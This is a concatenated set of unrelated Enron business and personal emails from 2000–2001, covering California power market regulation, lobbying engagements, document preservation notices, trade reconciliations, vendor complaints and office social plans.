     Market Area 30       No Restrictions
     Market Area 31       No Restrictions

If you have any questions, please contact your Account
Representative.

Ignore the next message.  I sent you the wrong bullets.  I would
like for you guys to work with Donna on the bullets from our group
that should be in Shelley's weekly report.  Thanks. Lynn
---------------------- Forwarded by Lynn Blair/ET&S/Enron on 06/07/2001 07:=
27 PM ---------------------------
  =20
=09  From:  Ava Garcia                           06/07/2001 04:02 PM=09
=09=09

To:=09Mike McGowan/ET&S/Enron, Julie McCoy/ET&S/Enron, Gerry Medeles/ET&S/E=
nron, James Studebaker/FGT/Enron, Mary Draemer/ET&S/Enron, Shelley Corman/E=
T&S/Enron, Donna Scott/FGT/Enron@ENRON, Gina Taylor/OTS/Enron, Kimberly Nel=
son/OTS/Enron, Alma Martinez/OTS/Enron, Theresa Hess/ET&S/Enron, Larry Berg=
er/ET&S/Enron@ENRON, John Buchanan/ET&S/Enron@ENRON, Raetta Zadow/ET&S/Enro=
n@ENRON, Terry Kowalke/ET&S/Enron@ENRON, Michael Bodnar/ET&S/Enron@ENRON, J=
ean Blair/ET&S/Enron@ENRON, James Carr/ET&S/Enron@ENRON, Jodie Floyd/ET&S/E=
nron@ENRON, Shirley Walden/ET&S/Enron@ENRON, Katherine Perry/ET&S/Enron@ENR=
ON, Karen Brostad/ET&S/Enron@ENRON, Zuela Carter/ET&S/Enron@ENRON, Patricia=
 Steele/ET&S/Enron@ENRON, Linda Trevino/ET&S/Enron@ENRON, Elizabeth Brown/E=
T&S/Enron@ENRON, Esther Dasilva/ET&S/Enron@ENRON, Richard Hanagriff/ET&S/En=
ron@ENRON, Alice Johnson/ET&S/Enron@ENRON, Dennis Lee/ET&S/Enron@ENRON, Dal=
e Eldridge/ET&S/Enron@ENRON, Alma Green/FGT/Enron@ENRON, Nancy Bastida/FGT/=
Enron@ENRON, Larry Davis/ET&S/Enron@ENRON, Josue Vasquez/ET&S/Enron@Enron, =
Hilda Lindley/FGT/Enron@ENRON, Alma Carrillo/ET&S/Enron@ENRON, Martha Cormi=
er/ET&S/Enron@ENRON, James Cramer/FGT/Enron@ENRON, William Aldinger/FGT/Enr=
on@ENRON, Tim Cooper/FGT/Enron@ENRON, Laura Giambrone/FGT/Enron@ENRON, Lynd=
a Laferla/FGT/Enron@ENRON, Karen Clapper/FGT/Enron@ENRON, Galen Coon/FGT/En=
ron@ENRON, Mary Phillips/FGT/Enron@ENRON, Marion Collins/FGT/Enron@ENRON, J=
ack Howard/FGT/Enron@ENRON, Toby Kuehl/ET&S/Enron, Ramona Betancourt/ET&S/E=
nron, Gerry Medeles/ET&S/Enron, Maggie Matheson/ET&S/Enron, Mary Draemer/ET=
&S/Enron, Tammy Jaquet/ET&S/Enron, Legale Black/ET&S/Enron, James Studebake=
r/FGT/Enron, Sheila Nacey/ET&S/Enron@ENRON, Jean Adams/ET&S/Enron@ENRON, Ro=
bert Benningfield/ET&S/Enron@ENRON, Tangie Dykes/ET&S/Enron@ENRON, Sherry F=
orbish/ET&S/Enron@ENRON, Chris Greaney/ET&S/Enron@ENRON, Randy Janzen/ET&S/=
Enron@ENRON, Debra Scurlock/ET&S/Enron@ENRON, Joe Linhart/ET&S/Enron@ENRON,=
 Janet McDaniel/ET&S/Enron@ENRON, Kathy Sturr/ET&S/Enron@ENRON, Harry Woods=
on/ET&S/Enron@ENRON, Christine McEvoy/ET&S/Enron@Enron, Tracy Minter/ET&S/E=
nron@Enron, Linda Ward/ET&S/Enron@ENRON, Albert Hernandez/ET&S/Enron@ENRON,=
 Amy Mulligan/ET&S/Enron@ENRON, Cynthia Rivers/ET&S/Enron@ENRON
cc:=09Lynn Blair/ET&S/Enron@ENRON, Ricki Winters/ET&S/Enron, Steven January=
/ET&S/Enron@ENRON, Sharon Brown/ET&S/Enron@ENRON, Brad Holmes/ENRON@enronXg=
ate, Sheila Nacey/ET&S/Enron@ENRON, Rick Dietz/ET&S/Enron@ENRON=20

Subject:=09Bullets

=20

Set up by Lora Sullivan/202-466-9142
Attendees: Tom Briggs, Steve Burns, Linda Robertson (from DC)
Shelley Corman, Mike Moran, Lou Soldano
Linda Robertson will call in from The Woodlands

How come FERC has finalized their report without our comments?!  We need to 
be prepared to respond when they issue their report -- we can line up 
broadcast interviews (CNBC, CNN) in response -- and also target specific 
publications.  We'll need to prepare "sound bite" messages based on our 
filing (I haven't seen it yet, but Mary Hain is supposed to be sending it).  
Keep me posted on the time and place of the Nov. 1 press conference.  Also, 
are we participating in the Nov. 9 public hearing?  Let me know. thx. kd

From: Jeff Dasovich on 10/20/2000 10:56 AM
To: skean@enron.com, Richard Shapiro/NA/Enron@Enron, Mary Hain/HOU/ECT@ECT, 
James D Steffes/NA/Enron@Enron, Richard B Sanders/HOU/ECT@ECT, Sandra 
McCubbin/SFO/EES@EES, smara@enron.com, Mona L Petrochko/NA/Enron@Enron, Joe 
Hartsoe/Corp/Enron@ENRON, Sarah Novosel/Corp/Enron@ENRON, Karen 
Denne/Corp/Enron@ENRON, mpalmer@enron.com, Jeannie Mandelker/HOU/ECT@ECT, 
Margaret Carson/Corp/Enron@ENRON
cc:  

Subject: Fw: FERC & California markets

----- Forwarded by Jeff Dasovich/NA/Enron on 10/20/2000 10:54 AM -----

	"Steven Kelly" <steven@iepa.com>
	10/20/2000 10:34 AM
	Please respond to "Steven Kelly"
		 
		 To: "Nam Nguyen" <nam.nguyen@powersrc.com>, "Bill Carlson" 
<wcarlson@wm.com>, "Bill Woods" <billw@calpine.com>, "Bob Escalante" 
<rescalante@riobravo-gm.com>, "Carolyn Baker" <cabaker@duke-energy.com>, 
"Cody Carter" <cody.carter@williams.com>, "Curt Hatton" 
<curt.hatton@gen.pge.com>, "Dean Gosselin" <dean_gosselin@fpl.com>, "Doug 
Levitt" <SDL@calwind.com>, "Duane Nelsen" <dnelsen@gwfpower.com>, "Ed Maddox" 
<emaddox@seawestwindpower.com>, "Ed Tomeo" <ed.tomeo@uaecorp.com>, "Frank 
Misseldine" <fmisseldine@caithnessenergy.com>, "Hap Boyd" <rboyd@enron.com>, 
"Jack Pigott" <jackp@calpine.com>, "Jeff Dasovich" <jdasovic@enron.com>, "Joe 
Greco" <joe.greco@uaecorp.com>, "Joe Ronan" <joer@calpine.com>, "Jonathan 
Weisgall" <jweisgall@aol.com>, "Ken Hoffman" <khoffman@caithnessenergy.com>, 
"Marty McFadden" <marty_mcfadden@ogden-energy.com>, "Milton Schultz" 
<bfpjv@c-zone.net>, "Paula Soos" <paula_soos@ogden-energy.com>, "Pete Levitt" 
<Pete@calwind.com>, "Robert Frees" <freesrj@apci.com>, "Roger Pelote" 
<rpelote@energy.twc.com>, "Steve Iliff" <siliff@riobravo-gm.com>, "Steve 
Ponder" <steve_ponder@fpl.com>, "Ted Cortopassi" 
<TCortopassi@ogden-energy.com>, "Tom Heller" <hellertj@apci.com>, "Tony 
Wetzel" <twetzel@thermoecotek.com>, "Ward Scobee" 
<wscobee@caithnessenergy.com>, "William Hall" <wfhall2@duke-energy.com>, 
"Trond Aschehoug" <taschehoug@thermoecotek.com>, "Susan J Mara" 
<Susan_J_Mara@enron.com>, "Scott Noll" <snoll@thermoecotek.com>, "Rob Lamkin" 
<rllamkin@seiworldwide.com>, "Randy Hickok" <rjhickok@duke-energy.com>, "Lynn 
Lednicky" <lale@dynegy.com>, "Kent Fickett" <kfickett@usgen.com>, "Jim 
Willey" <elliottsa@earthlink.net>, "Greg Blue" <gtbl@dynegy.com>, "Frank 
DeRosa" <frank.derosa@gen.pge.com>, "Eileen Koch" <eileenk@calpine.com>, 
"Dave Parquet" <dparque@ect.enron.com>, "Curtis Kebler" 
<curtis_l_kebler@reliantenergy.com>
		 cc: "Jan Smutny-Jones" <smutny@iepa.com>, "Katie Kaplan" <kaplan@iepa.com>
		 Subject: Fw: FERC & California markets

FYI>
 
From: andy brown 
To: smutny@iepa.com ; steven@iepa.com ; kaplan@iepa.com ; dkk ; runwithmee ; 
Andy Brown ; Eric Janssen ; cte ; Gregory Maxim ; lmh@eslawfirm.com ; 
jdh@eslawfirm.com 
Sent: Friday, October 20, 2000 7:53 AM
Subject: FERC & California markets

Article noting that FERC will have special meeting on Nov 1 re California 
markets, also Article that Terry Winter is having a press conference today 
(Friday) about how the market will be fixed: 
FERC To Meet Nov 9 To Propose Remedies To Calif 
                    Pwr Mkt 
                    Friday, October 20, 2000 08:17 AM 
  
                    LOS ANGELES (Dow Jones)--In an unusual move, the Federal 
Energy Regulatory                     Commission said Thursday it will meet 
Nov. 1 to discuss remedies to California's                     troubled 
wholesale power market. 
                    Details of a probe into California's wholesale 
electricity market will also be released at                     the Nov. 1 
meeting. As reported, state and federal regulators launched the probe over    
                 the summer, saying the market wasn't workably competitive. 
                    FERC also said it expects to hold a public hearing Nov. 9 
to discuss possible                     solutions to California's power 
crisis. 
                    The place and time of both meetings haven't been decided 
yet. 
                    Regarding Thursday's announcement, FERC Commissioner Curt 
Hebert said "rather                     than waiting for Nov. 1 to release 
the findings of our staff's investigation, I urge the                     
chairman to release the completed report now...it can only help heal the raw 
emotions                     rampant in the state of California." 
                    FERC said it was rare that it would announce details of 
its procedures. The                     commission said its own rules don't 
allow it to normally announce its procedures. 
                    "Because of the need for expeditious action to address 
the serious issues affecting                     California electric power 
markets and California consumers...the commission is taking                   
  the unusual step of announcing in advance the procedures it expects to 
follow over the                     coming weeks to move forward in these 
proceedings," the FERC order said. 
                    The commission said it will give a three-week deadline 
for parties to intervene and to                     comment on the possible 
solutions presented by the commission. 
                    FERC said it anticipates issuing an order by the end of 
the year "adopting and                     directing remedies to promptly 
address to the extent possible the identified problems                     
adversely affecting competitive power markets in California." 
                    If necessary, FERC said it would hold additional meetings 
to develop solutions "to                     other identified problems." 
                    California's wholesale power prices soared this past 
summer. Customers of San                     Diego Gas & Electric Co., a unit 
of Sempra Energy Corp. (SRE, news, msgs), paid                     
market-based rates for power, which resulted in triple-digit utility bills 
for its customers.                     The state's three investor-owned 
utilities also racked up billions of dollars in debt due                     
to high wholesale costs. 
                    SDG&E customers are currently paying a fixed rate for 
their power, while customers of                     the state's other two 
utilities are still bound by a rate-freeze. 
                    Generators have been accused of gouging customers and 
manipulating the market,                     although no evidence has been 
offered up yet. However, the FERC investigation may                     
address that. 
                    -By Jason Leopold, Dow Jones Newswires; 323-658-3874; 
                    jason.leopold@dowjones.com 
Cal-ISO CEO To Announce Remedy To Lower Power 
                    Cost 
                    Friday, October 20, 2000 08:16 AM 
                    (This article was originally published Thursday) 
                    LOS ANGELES (Dow Jones)--California Independent System 
Operator Chairman and                     Chief Executive Terry Winter will 
hold a news conference Friday morning to announce                     a 
possible solution to reduce the state's electricity costs. 
                    An ISO spokesman wouldn't comment on the details of the 
news conference. 
                    According to a news release, Winter will speak about 
"potential vehicles for containing                     costs, while 
maintaining the ISO's high standards of reliability." 
                    The ISO controls about 75% of California's power grid and 
real-time market. As                     already reported, the grid operator 
has come under fire this summer for failing to                     
immediately reduce a price cap in its real-time market. 
                    Currently, state Sen. Steve Peace, D-Chula Vista, is 
drafting legislation to merge the                     ISO and the state's 
Power Exchange. 
                    Quote for referenced ticker symbols: EIX, PCG, SRE 
                    , 2000 Dow Jones & Company, Inc. All Rights Reserved. 

Ben,

What are these folks supposed to do for Enron?  I had heard a rumor that we 
were looking to hire someone to lobby for us on a success fee basis.  Is this 
the same deal?  I know on the international side there were hoops to jump 
through before such an engagement could be signed off on.  I'll have to check 
to see what the drill is on this side of the street.

Kay

	From:  Ben F Jacoby @ ECT                           02/28/2001 12:18 PM
	
To: Kay Mann
cc:  

Subject: Tripp Scott Proposed Terms of Engagement

Per my earlier e-mail, attached is Tripp Scott's form.
---------------------- Forwarded by Ben Jacoby/HOU/ECT on 02/28/2001 12:17 PM 

Steven Krimsky@ENRON
02/28/2001 09:11 AM
To: Ben Jacoby/HOU/ECT@ECT
cc:  

As discussed, Roger has no problem engaging Tripp Scott.  He does want to use 
Enron's standard 9 page engagement letter in lieu of the attached 2 pager 
received from Tripp Scott.  Is this necessary - any thoughts?

Steve
 
---------------------- Forwarded by Steven Krimsky/Corp/Enron on 02/28/2001 
09:08 AM ---------------------------

Steven Krimsky
02/16/2001 03:44 PM
To: Ben Jacoby/HOU/ECT@ECT, Roger Balog@ECT, Marchris Robinson/NA/Enron@Enron
cc:  

As discussed in Fort Pierce, Tripp Scott is that insurance policy I've been 
looking for to help secure the commission vote in Pompano.  Tripp Scott will 
also assist us in our door knock campaign in the County & Tallahassee.  
Pozzuoli is a mover & shaker and is on a first name basis with Jeb Bush -  he 
was the Chairman for the Bush/Cheny Broward County re-count.

Bill Keith & Debbie Orshefsky highly recommends the engagement.

Lets discuss Tuesday.

Steve
---------------------- Forwarded by Steven Krimsky/Corp/Enron on 02/16/2001 
03:38 PM ---------------------------

"Edward J. Pozzuoli (Paulette R Segal)" <PRS@trippscott.usa.com> on 
02/14/2001 01:56:42 PM
To: steven.krimsky@enron.com
cc: TSCS.TSCS-1.ejp@mail4.allegro.net 

Subject: Proposed Terms of Engagement

It was a pleasure meeting with you and Debbie on Monday afternoon.  Per our 
discussion, enclosed is Tripp Scott's proposed terms of engagement as well as 
an abbreviated description of the firm and its key directors.

I look forward to speaking with you soon.

Ed
 - 239299.WPD
 - 239243.WPD

---------------------- Forwarded by Andrea Ring/HOU/ECT on 10/27/2000 03:02 
   
	From:  Jared Kaiser                           10/26/2000 04:19 PM
	
To: Andrea Ring/HOU/ECT@ECT, Dick Jenkins/HOU/ECT@ECT, Scott Neal/HOU/ECT@ECT
cc:  
Subject: Women and motorcycles don't mix!

---------------------- Forwarded by Jared Kaiser/HOU/ECT on 10/26/2000 04:19 

Joe A Casas
10/26/2000 04:12 PM
To: Jared Kaiser/HOU/ECT@ECT, Bob Bowen@CCMAIL
cc:  

---------------------- Forwarded by Joe A Casas/HOU/ECT on 10/26/2000 04:11 
   
	From:  Victor Lamadrid                           10/26/2000 03:40 PM
	
To: Robert Allwein/HOU/ECT@ECT, Beverly Beaty/HOU/ECT@ECT, Tricia 
Bowen/HOU/ECT@ECT, Joe A Casas/HOU/ECT@ECT, Sabra L Dinari/HOU/ECT@ECT, 
Clarissa Garcia/HOU/ECT@ECT, Meredith Mitchell/HOU/ECT@ECT, Cindy 
Vachuska/HOU/ECT@ECT, Jesse Villarreal/HOU/ECT@ECT, Alvin 
Thompson/Corp/Enron@Enron, Joann Collins/Corp/Enron@ENRON, Edward 
Terry/HOU/ECT@ECT, Angie Zeman/Corp/Enron@ENRON, Cynthia 
Franklin/Corp/Enron@ENRON, Steve Gillespie/Corp/Enron@ENRON, Robert E 
Lloyd/HOU/ECT@ECT, Scott Loving/NA/Enron@ENRON, Lia Halstead/NA/Enron@ENRON, 
Christina Sanchez/Corp/Enron@ENRON
cc:  

While we wait for Unify to work.....here's a funny!!!!

 - Evilke~1.mpe

---------------------- Forwarded by Jennifer N Stewart/NA/Enron on 12/08/2000 

Lesley M Lambert
12/08/2000 09:51 AM
To: Tracy Ramsey/EPSC/HOU/ECT@ECT
cc: Barry Proud/ETOL/EU/Enron@ENRON, Jennifer N Stewart/NA/Enron@Enron, Peter 
Goebel/NA/Enron@Enron 

Subject: American Express

Hi Tracy,

On Wednesday of this week we had a visit from Jennifer and Peter, and we 
highlighted a number of problem areas that we are experiencing with Amex 
Travel Management.  They suggested we inform you of the problems, in the hope 
that you would be able to take it to a higher level on our behalf.

Up until a year ago American Express were based on the Wilton Site.  They 
migrated to Newcastle (about 50 miles away)  and  migrated again some six 
months later to Edinburgh ( about 120 miles away).  Each time they have moved 
the level of service we have received has deteriorated.

Some six weeks ago we had a meeting with Lisa McKenzie (Area Manager) from 
the Edinburgh office, at which we detailed our concerns to her.  She said 
that she valued our business and promised to take these concerns away and to 
rectify all problems.  In reality nothing improved, to the extent that we had 
another meeting with George Blues (Account manager)  last week, and informed 
him that we had not seen any changes for the better.  We also told him that 
if things did not improve within the next six weeks, we would consider taking 
our business elsewhere.  We have actually made contact with a local company 
and are using them in conjunction with Amex for the next six weeks.

Typical problems are:-

Communications - trying to contact people in Edinburgh is difficult.  
Response when we do contact them is not forthcoming.  Not being able to speak 
to the same person twice.  Promises of return calls do not materialise.

Invoices - difficulty in resolving disputes.

Car Hire - not negotiating the best deal with regards to rates.  We 
negotiated better rates with Avis ourselves.

Hotel Bookings - not using Enrons preferential rates on hotels with reserved 
rooms.

Rail Travel - lack of detail on tickets.

We feel that they are paying lip service to what we are saying and making 
general excuses in the non performance of their obligations.

We hope you can assist us in getting a better level of service than that 
which we are currently receiving.  

Regards

Lesley

Respect====>Integrity====>Communication====>Excellence

The information contained in this e-mail and any files transmitted with it is 
confidential and intended for the addressee only. If you have received this 
e-mail in error, please notify the originator or telephone 01642 459955.
This e-mail and any attachments have been scanned for viruses prior to 
leaving Enron Teesside Operations Limited (ETOL). ETOL will not be liable for 
any losses as a result of any viruses being passed on.

Enron Teesside Operations Limited.  Registered in England
Reg. No. 3647087. Registered Office: ETOL HQ, PO Box 1985, Wilton 
International, Middlesbrough, TS90 8WS

fyi
---------------------- Forwarded by Mary Solmonson/HOU/ECT on 10/31/2000 

Robert Fenton-Stone
10/30/2000 08:20 AM
To: Jane Spiteri/LON/ECT@ECT, Niamh O'Regan/LON/ECT@ECT, Michael 
Heap/LON/ECT@ECT, Odile Facih/LON/ECT@ECT, Richard J Black/LON/ECT@ECT, David 
Port/Market Risk/Corp/Enron@ENRON, Neil Tarling/LON/ECT@ECT, Mark 
Jones/LON/ECT@ECT, Beth Apollo/LON/ECT@ECT, Naomi Connell/LON/ECT@ECT, John S 
Parker/LON/ECT@ECT, Mark Wright/LON/ECT@ECT, Iain Greig/Corp/Enron@Enron, 
Robert Campbell/LON/ECT@ECT, Richard Samuel/LON/ECT@ECT, Richard 
Burchfield/HOU/ECT@ECT, Tom O Moore/NA/Enron@ENRON, David Rae/LON/ECT@ECT, 
Mary Solmonson/HOU/ECT@ECT, Jonathan Bond/LON/ECT@ECT, Peter 
Griffiths/LON/ECT@ECT, Maya Beyhum/LON/ECT@ECT, Rashpal Bhatti/LON/ECT@ECT, 
Richard Cross/LON/ECT@ECT, Brett Lawford/LON/ECT@ECT, Phoebe 
Bradford/LON/ECT@ECT, Esther Demetz/LON/ECT@ECT, Stephen Wood/LON/ECT@ECT, 
Mary Thambiah/LON/ECT@ECT, Gillian Thornburrow/LON/ECT@ECT, Sheila 
Foo/LON/ECT@ECT
cc:  
Subject: Progress on Daily Trading Ledger - note from John Paskin and Mike 
Jordan

FYI  -  update on DTL 

Highlight:

We have decided to pause development work on the DTL application

---------------------- Forwarded by Robert Fenton-Stone/LON/ECT on 30/10/2000 
14:17 ---------------------------

30/10/2000 09:29
To: ECT European Middle Office, Richard Sage/LON/ECT@ECT, Moira 
Robertson/LON/ECT@ECT, Tani Nath/LON/ECT@ECT, Fernley Dyson/LON/ECT@ECT, John 
Paskin/LON/ECT@ECT, Mark Pickering/LON/ECT@ECT, Beth Perlman/HOU/ECT@ECT, 
Richard Payne/LON/ECT@ECT, Cindy Horn/HOU/ECT@ECT, Kevin Sweeney/HOU/ECT@ECT, 
ECT London Strategic Initiatives, Phil Yoxall/LON/ECT@ECT, Ingrid 
Petri/LON/ECT@ECT, Richard Samuel/LON/ECT@ECT, Nick Dawson/LON/ECT@ECT, Barry 
Simon/LON/ECT@ECT, Steve Whitaker/LON/ECT@ECT
cc:  

Jordan

UAT on phase 1 of this application development has identified previously 
unforeseen technical and functional requirements/issues. Consequently, a 
comprehensive re-specification and re-planning exercise for DTL has been 
completed such as to give a much later implementation timetable.

Given the immediate, and absolute, need to implement the more significant of 
the control and efficiency improvements identified in this project along with 
the competing demands for existing IT development resource we have decided to 
:-

pause development work on the DTL application ( specifically )
apply business analysis resources on the full redesign and documentation of 
ledger control and reporting processes
complete the process changes within the Trade Accounting area that have been 
on-going for the last 6 months
reassign IT resources to the Enlighten and Envoice projects
reassess the timetable for the delivery of the residual DTL control and 
efficiency improvements by re-preforming the business case for the DTL 
application following the completion of the above identified work

Please feel free to discuss any of the above issues with us

Regards

John & Mike

Please handle.  Thank you.  Jim

From: 	Smith, Bruce  
Sent:	Friday, October 26, 2001 7:56 AM
To:	Jim Derrick@ENRON
Subject:	RE: Important Announcement Regarding Document Preservation

Jim-

I am the director over the North and South American remote sites.  My team is directly and indirectly involved in backups of voice and data for these sites.  Is there someone I should be working with to determine what to do at these sites ?

Thanks
Bruce

From: 	Enron Announcements/Corp/Enron@ENRON   On Behalf Of Jim Derrick@ENRON
Sent:	Thursday, October 25, 2001 11:55 PM
To:	All Enron Worldwide@ENRON
Subject:	Important Announcement Regarding Document Preservation

As you know, Enron, its directors, and certain current and former officers are defendants in litigation in Federal and State court involving the LJM partnerships.

Enron has employed counsel and they will represent Enron and its interests in the litigation.

Under the Private Securities Litigation Reform Act, we are required to preserve documents that might be used in the litigation. 

Accordingly, our normal document destruction policies are suspended immediately and shall remain suspended until further notice.

Please retain all documents (which include handwritten notes, recordings, e-mails, and any other method of information recording) that in any way relate to the Company's related party transactions with LJM 1 and LJM 2, including, but not limited to, the formation of these partnerships, any transactions or discussions with the partnerships or its agents, and Enron's accounting for these transactions.

You should know that this document preservation requirement is a requirement of Federal law and you could be individually liable for civil and criminal penalties if you fail to follow these instructions.

You should know that Enron will defend these lawsuits vigorously.  In the meantime, you should not discuss matters related to the lawsuits with anyone other than the appropriate persons at Enron and its counsel.  

If you have any questions, please contact Jim Derrick at 713-853-5550.

Please find the interview packet for the above-referenced candidate.  The 
interview will occur on Wednesday January 10, 2001.  Please print all 
documents for your reference.  A hardcopy of the resume will be delivered via 
runner.  If you have any questions, or conflicts of schedule, please do not 
hesitate to contact me.

Shawn Grady
58701

564894 - changed to Bloomberg - but it's a buy, not a sale - is this the same 
deal prebon is missing?

03/29/2001 02:25 PM
cc:  

Subject: 3/29 Checkout

AMEREX
All deals o.k.

PREBON

Mark Fischer 
deal 564894

BLOOMBERG

I am missing the following deal:
Enron sells to El Paso 25 mw May PV  $304.00
I believe this deal is the deal prebon does not recognize--564894

Please schedule a meeting with TJ Black (3-5800)

From: 	Stuart Zisman  
Sent:	Thursday, May 24, 2001 4:38 PM
To:	Kevin M Presto
Cc:	Don Miller
Subject:	New Albany Analysis

Kevin,

Don has asked me to provide you with some sort of valuation matrix based on your request of the other day.  I have spent some time with Stacey White, Jody Pierce and Georgeanne Hodges in an effort to better understand how New Albany is being valued/treated for accounting purposes.  When you have a free moment, could you spend a few minutes with me to give me a better idea of what you would like to see.  Thanks

Zisman

As an aside, we heard from CLECO on New Albany.  They gave us a bid range of $98MM- $122MM without any suggestion that they would insist upon a toll for this summer.

Foex published its weekly index today: NBSK fell by $2.65 (0.58%) whereas BHKP increased by $0.18 (0.04%). 
See attached
 
Members of the Haas Community:

We are all saddened by yesterday's tragic events. This is likely to have 
personal ramifications for colleagues, friends, and families with close 
connections to the Haas School of Business and UC Berkeley.

Everyone is naturally eager to find out whether anyone from the extended 
Haas community has been affected. A website has been put up and is being 
used by many business schools to provide information in light of this 
national tragedy.  The address is http://www.finebrand.com/statuses. The 
site posts status reports of individuals by school and by class year. We 
encourage you to help update this information. Please note, however, that 
the School is not able, at this early stage, to confirm the accuracy of the 
information posted on this site.

Thank you for helping to alert the Haas community about those who may be in 
need of support. This is a sad time for our community and our nation.  As 
Associate Dean Ben Hermalin counseled us yesterday, we must recognize that 
many people will be severely affected by what has happened, and that they 
require our sympathy, understanding, and support.

Jay Stowsky
Associate Dean, School Affairs and Initiatives
(on behalf of Dean Laura Tyson)

Well, someone got up on the wrong side of the bed this morning.  Tomorrow is 
no problem at all as long as if you are up for a few pina coladas by the pool.

Susan M Scott
08/11/2000 09:24 AM
To: Ted Noble/HOU/ECT@ECT
cc:  
Subject: R&R

I know how much you're looking forward to "Ted's Weekend of Rest and 
Relaxation" and I also realize that carting me back and forth to the car 
dealership wasn't exactly on your list of things to do (bear in mind the 
dealership is roughly 5 minutes from your apartment)...So, I'm offering you 
an out.  I can find someone else to help me if you want to bail (I know how 
important your pool-side time is - Remember it's all about you and your 
needs."  Just let me know.

FYI:  Galveston does not look like this...

Bonnie white, an Enron inhouse litigator, and my paralegal, Linda Guinn, Will 
gather the requested documents. Linda--713-853-6104, Bonnie---713-853-7244
----- Forwarded by Richard B Sanders/HOU/ECT on 10/29/2000 09:22 AM -----

	Richard B Sanders
	10/29/2000 09:22 AM
		 
		 To: Bonnie White/Corp/Enron@ENRON, Linda R Guinn/HOU/ECT@ECT
		 cc: 
		 Subject: FW: FirstWorld Document Preservation Memorandum

Bonnie-- If you have not already done so, we should gather our documents
Linda-- Please coordinate this effort
----- Forwarded by Richard B Sanders/HOU/ECT on 10/29/2000 09:20 AM -----

	"Markel, Gregory A." <GMarkel@brobeck.com>
	10/27/2000 02:45 PM
		 
		 To: "'richard.b.sanders@enron.com'" <richard.b.sanders@enron.com>, "Setton, 
Ronit" <RSetton@brobeck.com>, "Markel, Gregory A." <GMarkel@brobeck.com>
		 cc: 

See below for categories of documents to be preserved.

Greg Markel
Brobeck Phleger & Harrison
1633 Broadway
New York, New York  10019
212-237-2592
Fax -212-586-7878
gmarkel@brobeck.com

From: Setton, Ronit
Sent: Friday, October 27, 2000 11:53 AM
To: Markel, Gregory A.
Cc: Gugliucci, Patricia
Subject: FirstWorld Document Preservation Memorandum

 - 42CG01!.DOC

wassup wassup wassup.

plan drinks for any day early in the week

Jennifer Shipos
11/09/2000 05:31 PM
cc:  
Subject: 

When do you want your drinks that I owe you?  I think it's time to have 
another group happy hour.  It doesn't seem like you have been your normal 
self recently.  

Looks like nothing was ever done on this so I've contacted Tracy Ngo to move 
on a credit worksheet and then we can turn out a draft ASAP.  Do I need to 
call Holli?  Do you recall whether you and I had further discussions on 
this?  Sara

Christian Yoder

03/16/2000 12:40 PM
cc: Holli Krebs/HOU/ECT@ECT 
Subject: EWEB

Sara,
Holli Krebs has asked for an update on the EWEB ISDA process.  EWEB means 
Eugene Water and Electricity Board           and is a small Oregon muni.   
She was under the impression that we had already sent an ISDA to EWEB but,  
she just got a call from Jim Deisen (the guy you and I met with at that  
Portland law firm---remember about a year ago?)  and Jim asked if we could 
send over our ISDA and schedule.    So.......   if we have already started 
down the path with EWEB, the West Desk would appreciate it if you could 
please  put it on top of the pile and follow up with Dieson (503-224-3092) 
or, if we have done nothing,  could you please give him a call and get the 
ball rolling on an ISDA.  Thanks very much and let me know if I can help in 
any way.----cgy

Return Receipt

 Your        RE: FW: Stepenovitch
 document:

 was         Linda Stepenovitch/USA/BAC
 received
 by:

 at:         10:27:34 AM EDT Today

	Shelley, I would appreciate any comments or feedback on the attached.  I am trying to formulate
	my thoughts to be positive and get our message across.  Donna helped me put some info together.
	Now I need your thoughts.  Thanks. Lynn

	Team Leader Mtg. Conference room EB4102

Date:		11/20/2001
Time:		2:30 PM - 3:30 PM (Central Standard Time)

MCLOUGHLIN, HECTOR              SHEILA H WALTON                 Oct 25, 2000
PORT, DAVID                     THEODORE R MURPHY II            Oct 30, 2000
WALTON, SHEILA H                DAVID OXLEY                     Oct 27, 2000

Ms. Clausen:

Attached for your review and signature, is an amendment to the current GISB Base Contract between Enron North America Corp. and Mitchell Gas Services L.P.  The amendment restates Section 2.5 to designate Enron North America as the confirming party for all transactions.

If in agreement, please print and have two originals executed and forward same to Debra Perlingiere's attention at:

Legal Department, EB 3885

Also, kindly fax a copy of same to my attentions at fax # (713) 646-2495.

Upon final execution of the amendment by Enron North America Corp., Debra will forward an original for your records.  Please do not hesitate to call me should you have any questions regarding the attached.

Thanks, 

Ann
(713) 345-3136

I wanted IR and PR to be aware that within the next few days  the PG&E Bankruptcy team will file with the Judge Enron's current claim.  We intend to ask the Judge to Lift the Stay so that we can file at the CPUC a complaint to recoup our current receivable.  I'm not sure what our public statements have been and as soon as we prepare the filing, I'll let you know.

If anyone has any questions, please give me a call.

Thanks,

Jim

We can take the 265k if you find that we already took the existing variances.
PL

	From:  Cathy Sprowls                           02/16/2001 10:12 AM
	
cc:  
Subject: Re: Latest summary schedules

Phillip, 

I can reclass this to synthetic storage.  It looks like we may have netted 
the pre-existing synthetic storage valance with some other variances and 
taken it to the desk in the October,November time frame....

---------------------- Forwarded by Cathy Sprowls/HOU/ECT on 02/16/2001 10:10 

02/16/2001 09:21 AM
To: Cathy Sprowls/HOU/ECT@ECT
cc:  
Subject: Re: Latest summary schedules  

Also, in 0006 theres is a synthetic deal identified as NN4016 with NNG for 
$265K, this deal is in sitara 301891 under CPR Pipeline storage. The terms 
match and we should have no variance.  Please ask Gas accounting why we do 
not have a variance on synthetic line - probably Jim Pond.  Thanks.
PL

NESA/HEA Member's :

Attached is the Offshore Energy Center Brown Bag flyer.  The OEC consists of
the Ocean Star, a retired offshore jack-up rig and a museum in Galveston,
TX.  This brown bag also includes happy hour!!  Hope to see you there.

Date:  May 17th, 2001
Time: 11:30 am to 5 pm

 <<OEC01.doc>>

Please call me or Tracy Cummins at (713) 856-6525 with any questions.

Thanks,
Lana Moore
Director of Education

 - OEC01.doc

Start Date: 4/30/01; HourAhead hour: 16;  No ancillary schedules awarded.  No 

Schedules\2001043016.txt

     Details:

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 06/06/2000 

"Dale Nesbitt" <dale.nesbitt@marketpointinc.com> on 06/06/2000 09:59:55 AM
cc:  
Subject: RE: Follow up

Vince:

Thanks for your help in this matter.  I dont want to be a bother to you.  I
know you are doing your best to put this together as a go between.

As you might suspect, I am in a hurry to put together the right hearing at
Enron because MarketPoint is just now being completed--U.S. and world oil
and gas and North American electricity.  We have just signed up our first
web provider (e-Acumen.com), who is preparing to vend our North American
electric generation data base over their website.  I believe we are an
integral part of their offering.  It wont be long before MarketPoint needs
the capitalization to meet our growing customer needs professionally and
